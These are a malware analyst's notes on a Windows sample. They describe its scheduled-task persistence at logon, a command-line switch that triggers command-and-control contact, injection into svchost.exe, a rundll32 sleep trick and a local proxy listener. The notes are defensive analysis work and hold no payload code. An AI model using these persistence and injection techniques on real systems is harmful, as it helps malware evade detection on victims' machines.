DescriptionAnalysis Observations:

• It sets up persistence by creating a Scheduled Task with the following characteristics:
• Name: Update
• Trigger: At Log on
• Action: %LocalAppData%\$Example\\waroupada.exe /i
• Conditions: Stop if the computer ceases to be idle.
• The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification.
• The filename remained static during analysis.
• The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it
• If “/i” is not passed as an argument, it sets up persistence and waits for reboot.
• If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication.
• Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so:
rundll32.exe kernel32,Sleep -s
• Setup a local listener to proxy traffic on 127.0.0.1:50000
